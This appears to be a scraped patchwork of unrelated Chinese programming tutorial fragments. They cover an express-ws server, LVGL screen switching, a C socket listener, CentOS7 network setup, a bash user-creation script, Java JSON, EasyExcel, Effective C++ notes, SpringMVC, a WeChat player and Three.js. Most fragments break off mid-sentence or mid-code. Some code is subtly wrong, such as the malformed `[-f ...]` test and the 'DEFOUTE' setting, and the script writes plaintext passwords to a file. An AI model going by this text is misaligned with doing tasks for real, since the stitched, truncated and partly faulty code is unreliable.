DOTA-(COOt-Bu)3-butyne 2125661-54-1
DOTA-(COOt-Bu)3-C2-NH2 173308-19-5
DOTA-(COOt-Bu)3-C4-NH2 1402393-59-2
安装模块
npm i express
npm i express-ws
新建文件app.js
先安排源码 监听端口 7777
var express = require('express') var app = express() require('express-ws')(app) var port = 7777 var clientObject = {} app.ws('/', (client, req) => { // 连接 var key = req.socket.remoteAddress + "_" + req.socket.remotePort clientObject[key] = { cli:client, heartBeat:1, } // 消息 client.on('message', (message) => { client.send("收到你的消息了" + message) }) // 关闭 client.on('close', () => { var key = req.socket.remoteAddress + "
系列文章目录 文章目录 系列文章目录一、实验效果二、通过触摸进行页面切换三、通过按钮组件进行页面切换四、代码解析 一、实验效果 二、通过触摸进行页面切换 1、单击选中屏幕一
2、新增ADD EVENT
3、设置事件触发属性
LVGL中有以下常见的事件类型
将事件设置为GESTURE_LEFT,向左滑动的手势。动作设置为Screen2,意思是滑动后切换到屏幕二。Fade mode设置的是屏幕滑动的方向。Speed设置滑动速度,Delay设置滑动延时。
三、通过按钮组件进行页面切换 将事件设置为CLICKED点击触发。动作设置为Screen1,意思是点击切换到屏幕一。Fade mode设置的是屏幕滑动的方向。Speed设置滑动速度,Delay设置滑动延时。
四、代码解析 增加触发事件
lv_obj_add_event_cb(ui_HomePage, ui_event_HomePage, LV_EVENT_ALL, NULL); 利用 lv_scr_load_anim函数进行切换,如果检测到屏幕滑动或者点击事件就使用 lv_scr_load_anim进行切换
void lv_scr_load_anim(lv_obj_t * scr, lv_scr_load_anim_t anim_type, uint32_t time, uint32_t delay, bool auto_del); 通过动画的方式显示 参数1:要加载的屏幕 参数2:动画类别 参数3:切换动画需要的时间 参数4:为true时则会在切换界面后将旧界面删除,节约内存 编写事件回调函数
void ui_event_HomePage(lv_event_t * e) { lv_event_code_t event_code = lv_event_get_code(e); lv_obj_t * target = lv_event_get_target(e); if(event_code == LV_EVENT_GESTURE) { if(lv_indev_get_gesture_dir(lv_indev_get_act()) == LV_DIR_RIGHT) { ui_MenuPage_screen_init(); lv_scr_load_anim(ui_MenuPage,LV_SCR_LOAD_ANIM_MOVE_RIGHT,100,0,true); } if(lv_indev_get_gesture_dir(lv_indev_get_act()) == LV_DIR_LEFT) { ui_SeaTime_screen_init(); lv_scr_load_anim(ui_Screen1,LV_SCR_LOAD_ANIM_MOVE_LEFT,100,0,true); } } }
(一)初始化服务器端用于监听的套接字 Server.h #pragma once // 初始化监听的套接字 int initListenFd(unsigned short port); Server.c int initListenFd(unsigned short port) { // 1.创建监听的fd int lfd = socket(AF_INET, SOCK_STREAM, 0); if(lfd == -1) { perror("socket"); return -1; } // 2.设置端口复用 int opt = 1; int ret = setsockopt(lfd,SOL_SOCKET,SO_REUSEADDR,&opt,sizeof(opt)); if(ret == -1) { perror("setsockopt"); return -1; } // 3.绑定 struct sockaddr_in addr; addr.sin_family=AF_INET; addr.sin_port=htons(port); addr.sin_addr.s_addr=INADDR_ANY; ret = bind(lfd,(struct sockaddr*)&addr,sizeof(addr)); if(ret == -1) { perror("bind"); return -1; } // 4.
CentOS7的网络配置 写在前面安装过程一、查看本机的IP地址二、编辑CentOS7的网络配置文件三、VMware连接主机和虚拟机四、测试网络 写在最后2023年12月21日 写在前面 如果你有一点《计算机网络》的基础,或者是对子网和网络层的概念有点了解,那么配置这个网络对你来说易如反掌
系统环境:CentOS7
虚拟机软件:VMware
那么如何安装这个centos系统,我建议你可以去找一下公众号,比如软件安装管家,火耳之类的。我觉得他们写的比网上大部分详细多了。
安装过程 一、查看本机的IP地址 CTRL + R :CMD 弹出命令行 命令行键入ipconfig:弹出本机的网络相关地址 选个192.168.xxx.xxx开头的来试验就好了
如果你不知道设置,看到图片的192.168.0.xxx跟你的ip地址像不像,把前面三个抄下来就好了,最后一个后面教你。
我选择用192.168.137.8连接和划分子网
现在可以确定的是:
网关:GATEWAY=“192.168.137.8”掩码:NETMASK=“255.255.255.0”域名服务器:DNS1=“192.168.137.8”子网地址:IPADDR=“192.168.137.9” 域名服务器是我学习的时候另一个虚拟机,大家可以替换为8.8.8.8和114.114.114.114
xxx是由你自己设置,这个需要子网的知识,我喜欢设置100~123,这样子就有23个子网。如果你不会,可以在这个范围内挑个你喜欢的数字设置为子网地址
二、编辑CentOS7的网络配置文件 这里需要打开centos7的命令行,这个快捷键要自己设置;
平时右键就有了,我是在训练机练习,没有设置快捷键,问题不是很大
1、su:进入管理员模式,输入密码 2、cd /etc/sysconfig/network-scripts:进入指定文件夹 3、ls:查看文件,网络配置文件名称为:ifcfg-ens3x(有的是32,有的是33,这个可以自己设置) 4、vim ifcfg-ens3x:打开网络配置文件(如果没有管理员模式,是编辑不了,或者会报错) 5、编辑文件 - GATEWAY=“192.168.137.8” - NETMASK=“255.255.255.0” - DNS1=“192.168.137.8” - IPADDR=“192.168.137.9” - BOOTPROTO=“static” - ONBOOT=yes - DEFOUTE=yes 到这里就完成了centos上网的配置
但是我们还需要在VMware里设置,把本机和虚拟机连接起来
三、VMware连接主机和虚拟机 第一步:编辑 -> 虚拟网络编辑
第二步:设置外面的
第三步:点击进入NAT设置
第四步:设置NAT里面的
第五步,检查设置
四、测试网络 搞完上面的,差最后一步
ifconfig :查看CentOS7的网络配置 service network restart: 重启网络配置 ping -c 1 www.baidu.com 或者 ping www.
跟B站Up主学习shell脚本——阿铭linux
3461576172505894
需求 创建10个用户,并给他们设置随机密码,密码记录到一个文件里,文件名为userinfo.txt,用户从user_00 到 user_09
密码要求:包含大小写字母以及数字,密码长度15位
#!/bin/bash #author: xxh #version: v1 #date: 2023-12-07 ##先查询/test/userinfo.txt文件是否存在,存在的话先删除,以免影响本次脚本执行结果 if [-f /test/userinfo.txt] then rm -f /test/userinfo.txt fi ##判断mkpasswd命令在不在,使用该命令来生成随机字符串,也就是用户密码 if ! which mkpasswd then apt install -y expect fi for i in `seq -w 0 09` do p=`mkpasswd -l 15 -s 0` useradd user_${i} && echo "${p}" | passwd --stdin user_${i} echo "user_${i} ${p}" >> /test/userinfo.txt done 收获 注意:mkpasswd命令在centos7里面是可以使用的
如果是ubantu22,需要用下面的命令
apt install openssl openssl rand -base64 15
目录 2023-12-20 21:39:14.437944: I tensorflow/core/platform/cpu_feature_guard.cc:142] This TensorFlow binary is optimized with oneAPI Deep Neural Network Library (oneDNN) to use the following CPU instructions in performance-critical operations: AVX AVX2To enable them in other operations, rebuild TensorFlow with the appropriate compiler flags.2023-12-20 21:39:15.055224: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1510] Created device /job:localhost/replica:0/task:0/device:GPU:0 with 21668 MB memory: -> device: 0, name: NVIDIA GeForce RTX 3090, pci bus id: 0000:01:00.0, compute capability: 8.6
这段日志来自 TensorFlow,在启动时记录了一些关于其配置和硬件兼容性的信息。下面是对这段日志的解读: CPU 特性和优化:
1、Map集合转JSON对象 创建一个Map集合;
新建json对象,并将Map引入json中。
public void demo1(){ //创建一个Map集合 Map<String, String> map = new HashMap<>(); map.put("1729210001","zhangsan"); map.put("1729210002","lisi"); map.put("1729210003","wangwu"); //Map-->json JSONObject json = new JSONObject(map);//引入json对象 System.out.println(json); //打印json:{"1729210003":"wangwu","1729210002":"lisi","1729210001":"zhangsan"} } 2、普通对象转JSON对象 创建一个Person类和Address类(此处省略了有参/无参构造方法、get()方法、set()方法);
新建Person对象和Address对象,并赋值;
新建json对象,并将对象引入json中。
public class Person { private String name; private int age; private Address address; } public class Address { private String homeAddress; private String schoolAddress; } @Test public void demo2(){ //创建一个Person对象 Person per =new Person(); per.setName("zhangsan"); per.setAge(23); Address add = new Address("
函数分析 read_dl_samples 是一个用于从磁盘上读取先前保存的 DLSample 字典批量的过程。
签名:
read_dl_samples(DLDataset, SampleIndices, DLSampleBatch) 描述:
该过程通过 SampleIndices 参数确定要读取 DLDataset 中哪些样本的 DLSample 字典。
对于 DLDataset 中的每个样本,DLSample 字典的路径通过键 ‘dlsample_file_name’(在字典 ‘sample’ 中)和键 ‘dlsample_dir’(在字典 DLDataset 中)指定的目录确定。
请注意,如果对于某个样本不存在 ‘dlsample_file_name’ 键,该过程将自动生成该键。它使用带有后缀 ‘_dlsample.hdict’ 的图像 ID,并测试该文件是否存在于 ‘dlsample_dir’ 中。如果存在,则读取该文件并创建键 ‘dlsample_file_name’ 的条目。
参数:
DLDataset(输入):包含有关数据集的信息的字典。SampleIndices(输入):在字典 DLDataset 中的样本的索引,从中读取 DLSamples。DLSampleBatch(输出):从磁盘读取的 DLSample 字典或 DLSample 字典的元组。 DLDataset 结构截图: ‘dlsample_file_name’ 键 可以再图中看到,注意这个字段是在 preprocess_dl_dataset这个函数执行之后才出现的字段。read_dl_samples 必然只能再数据预处理(preprocess_dl_dataset)完成之后才能执行!
DLSampleBatch,输出参数,数据结构如下(和DLDataset 相比里面多了图片对象):
代码上下文 preprocess_dl_dataset (DLDataset, DataDirectory, DLPreprocessParam, GenParam, DLDatasetFilename) * Display the DLSamples for 10 randomly selected train images.
文章目录 前言正文一、POM依赖二、核心Java文件2.1 自定义表头注解 ExcelColumnTitle2.2 自定义标题头的映射接口2.3 自定义有序map存储表内数据2.4 表头工厂2.5 表flag和表头映射枚举2.6 测试用的实体2.6.1 NameAndFactoryDemo2.6.2 StudentDemo 2.7 启动类2.8 测试控制器 三、测试测试1测试2测试3测试4 前言 日前,看到一个比较奇怪的导出功能。
需要根据不同的页面,以及指定不同的字段列表(任意顺序),然后导出对应的表格。
先假设一个场景:
假如你的系统有多个列表展示页,每页中可以依据筛选条件,调整展示的列的个数,顺序等。然后要求导出的时侯,导出一摸一样的格式。也就是“所见即所得”的表格。
那么基于以上场景,我们就来考虑下如何实现?
本文就是对以上场景功能的一个实现。目前仅支持单sheet,不支持数据聚合等。
后续优化了一下:
【EasyExcel实践】万能导出,一个接口导出多张表以及任意字段(可指定字段顺序)-简化升级版
代码仓库:https://gitee.com/fengsoshuai/excel-demo
正文 本文项目环境:
java 8,springboot2.2.0, easyexcel
一、POM依赖 <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> <version>2.2.0.RELEASE</version> </dependency> <dependency> <groupId>org.projectlombok</groupId> <artifactId>lombok</artifactId> <version>1.18.2</version> </dependency> <dependency> <groupId>com.alibaba</groupId> <artifactId>easyexcel</artifactId> <version>2.2.11</version> <exclusions> <exclusion> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> </exclusion> </exclusions> </dependency> </dependencies> 二、核心Java文件 此处粘贴全部的java文件
2.1 自定义表头注解 ExcelColumnTitle package headbean; import java.lang.annotation.*; /** * 列名标题注解,标注列的标题 * * @author feng */ @Documented @Target({ElementType.
条款31:将文件间编译依存关系降至最低 请记住:
支持”编译依存性最小化“的一般构想是:相依于声明式,不要相依于定义式。基于此构想的两个手段是Handle class和Interface class程序库头文件应该以”完全且仅有声明式“的形式存在。这种做法不论是否涉及template都适用 pimpl手法:在一个类中存放具体实现类的指针。这样,指针大小在32位系统上固定是4字节,无需知道具体实现类的大小。这解决了”接口与实现的分离“。是一种Handle class。
降低编译依存关系:
如果使用object reference或object pointers可以完成任务,就不要使用objects如果能够,尽量以class声明替换class定义为声明式和定义式提供不同的头文件 抽象基类是interface class。
Handle class和Interface class可降低编译依存性。
条款32:确定你的 public 继承塑模出 is-a 关系 请记住:
public继承意味着is-a。适用于base class身上的每一件事一定也适用于derived class身上,因为每一个derived class对象也都是一个base class对象。 条款33:避免遮掩继承而来的名称 内层作用域的名称会遮掩外围作用域的名称
请记住:
derived class内的名称会遮掩base class内的名称(一般是一个类中同名函数多个重载的情况)。在public继承下从来没有人希望如此。为了让被遮掩的名称重见天日,可使用using声明式或转交函数(有一点理解,using)。 如果只想继承父类的部分函数,就可以使用private继承,然后设置一个转交函数,转交函数中使用父类作用域调用父类函数。
条款中,父类有多个重载函数的的情况,不论是虚函数还是非虚函数,都会发生遮掩。
using 可以帮助我们获得base 中被遮掩的函数,但是如果我们只想要多个重载函数中的一个而不是全部的时候该怎么办呢?可以写一个简单的转交函数:
条款34:区分接口继承和实现继承 请记住:
接口继承和实现继承不同。在 public 继承之下,derived classes 总是继承 base class 的接口pure virtual 函数只具体指定接口继承简朴的(非纯)impure virtual 函数具体指定接口继承及缺省实现继承non-virtual 函数具体指定接口继承以及强制性实现继承 条款35:考虑 virtual 函数以外的其他选择 NVI手法:non-virtual interface
条款36:绝不重新定义继承而来的 non-virtual 函数 请记住:
绝不重新定义继承而来的non-virtual函数 为什么?因为,重新定义non-virtual函数会打破is-a的关系。 条款37:绝不重新定义继承而来的缺省参数值 对象的所谓静态类型(static type)就是它在程序中被声明时所采用的类型
virtual 函数是动态绑定的,但是缺省参数却是静态绑定的。意思是你可能会在“调用一个定义于 derived class”内的 virtual 函数的同时,却使用 base class 为它所指定的缺省参数值
系列文章目录 提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加
SpringMVC之参数获取
提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 系列文章目录前言一、概念二、SpringMVC执行流程三、使用SpringMVC的环境准备总结 前言 提示:这里可以添加本文要记录的大概内容:
在当今的 Java Web 开发领域,Spring MVC 框架已经成为了一种非常流行和广泛使用的 Web 框架。它是 Spring 框架的一部分,提供了一种基于模型-视图-控制器(MVC)架构模式的轻量级 Web 应用程序开发框架。
Spring MVC 框架的目标是使 Web 开发更加简单、高效和可维护。它提供了一个分层的架构,将应用程序的不同组件(模型、视图和控制器)分离开来,使得开发人员可以更加专注于每个组件的开发。
通过使用 Spring MVC,开发人员可以利用 Spring 框架的强大功能,如依赖注入(DI)和面向方面编程(AOP),来管理应用程序的复杂性。它还提供了一些内置的功能,如表单处理、验证、拦截器和国际化支持,大大简化了 Web 应用程序的开发过程。
总的来说,Spring MVC 框架是一个非常优秀和成熟的 Web 框架,它为开发人员提供了一种简洁、灵活和高效的方式来构建 Web 应用程序。如果你正在学习或计划使用 Java 进行 Web 开发,那么 Spring MVC 绝对是一个值得学习和掌握的框架。
在接下来的博客文章中,我将深入探讨 Spring MVC 的各个方面,包括其核心概念、工作原理、配置和使用示例。希望这些内容能够帮助你更好地理解和使用 Spring MVC 框架,从而提高你的 Web 开发技能。让我们一起开始探索 Spring MVC 的精彩世界吧!
提示:以下是本篇文章正文内容,下面案例可供参考
一、概念 MVC全称Model View Controller,是一种设计创建Web应用程序的模式。这三个单词分别代表Web应用程序的三个部分:
Model(模型):指数据模型。用于存储数据以及处理用户请求的业务逻辑。在Web应用中,JavaBean对象,业务模型等都属于Model。View(视图):用于展示模型中的数据的,一般为jsp或html文件。Controller(控制器):是应用程序中处理用户交互的部分。接受视图提出的请求,将数据交给模型处理,并将处理后的结果交给视图显示。 SpringMVC是一个基于MVC模式的轻量级Web框架,是Spring框架的一个模块,和Spring可以直接整合使用。SpringMVC代替了Servlet技术,它通过一套注解,让一个简单的Java类成为处理请求的控制器,而无须实现任何接口。
二、SpringMVC执行流程 用户发送请求:用户通过浏览器向服务器发送请求,请求中包含了请求的 URL、请求方法、请求参数等信息。DispatcherServlet 接收请求:SpringMVC 的核心组件 DispatcherServlet 会接收用户的请求,并根据请求的 URL 映射到相应的 Controller。Controller 处理请求:Controller 会根据请求的信息执行相应的业务逻辑,并返回一个 ModelAndView 对象,其中包含了要渲染的视图和模型数据。视图渲染: DispatcherServlet 会根据 ModelAndView 对象中的视图信息,选择相应的视图渲染引擎来渲染视图,并将模型数据传递给视图。响应返回:渲染后的视图会被返回给用户,用户可以在浏览器中看到相应的页面。 三、使用SpringMVC的环境准备 1.
微信小程序实现一个音乐播放器的功能 要求代码实现wxml 文件wxss 文件js文件 解析 要求 1.页面包含一个音乐列表,点击列表中的音乐可以播放对应的音乐。
2.播放中的音乐在列表中有标识,并且可以暂停或继续播放。
3.显示当前音乐的播放进度和总时长,并可以拖动进度条调整播放进度。
4.点击切换按钮可以切换到下一首音乐。
5.点击循环按钮可以切换音乐的播放模式(单曲循环、列表循环、随机播放)。
代码实现 wxml 文件 <view class="container"> <scroll-view scroll-y class="music-list"> <view wx:for="{{ musicList }}" wx:key="{{ index }}" class="music-item" bindtap="onMusicTap" data-index="{{ index }}"> <view class="music-name">{{ item.name }}</view> <view class="music-artist">{{ item.artist }}</view> </view> </scroll-view> <audio id="audio" src="{{ currentMusic.src }}" bindtimeupdate="onTimeUpdate" bindended="onEnded"></audio> <view class="player"> <view class="controls"> <button class="control-btn" bindtap="onPrev">上一首</button> <button class="control-btn" bindtap="onPlayOrPause">{{ playing ? '暂停' : '播放' }}</button> <button class="control-btn" bindtap="onNext">下一首</button> <button class="control-btn" bindtap="
// 物体最外圈加线框(被挖洞或者被切的物体都可以)
addEdge(mesh: THREE.Mesh) {
let allVertices = [];
let vertices: THREE.Vector3[] = [];
// 物体最高点
let height = GlobalApi.mDangQianLouCeng.mCabinetClass.mCurUnit.H / 10;
for (let i = 0; i < mesh.geometry.attributes.position.array.length; i += 3) {
allVertices.push(new THREE.Vector3(mesh.geometry.attributes.position.array[i], mesh.geometry.attributes.position.array[i + 1], mesh.geometry.attributes.position.array[i + 2]));
}
// 此处每次提一个面的三个点,判断这三个点的y值是否等于最高点,如果是,就把这三个点放到vertices数组中(取mesh的最高面)
for (let i = 0; i < allVertices.length; i += 3) {
if (allVertices[i].y == height && allVertices[i + 1].y == height && allVertices[i + 2].